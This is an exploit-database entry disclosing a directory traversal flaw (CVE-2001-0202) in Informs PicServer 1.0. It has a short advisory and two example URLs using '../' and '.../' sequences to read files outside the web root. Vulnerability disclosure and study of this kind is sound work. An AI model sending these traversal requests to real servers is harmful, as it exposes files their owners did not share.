informs picserver 1.0 - Directory Traversal

Author: joetesta
type: remote
platform: windows
port: 
date_added: 2001-02-05
date_updated: 2012-08-18
verified: 1
codes: CVE-2001-0202;OSVDB-10891
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/2339/info

It is possible for a remote user to gain read access to directories and files outside the root directory of a PicServer. Requesting a specially crafted URL composed of '../' or '.../' sequences will disclose an arbitrary directory.

http://target/../[file outside web root]
http://target/.../[file outside web root]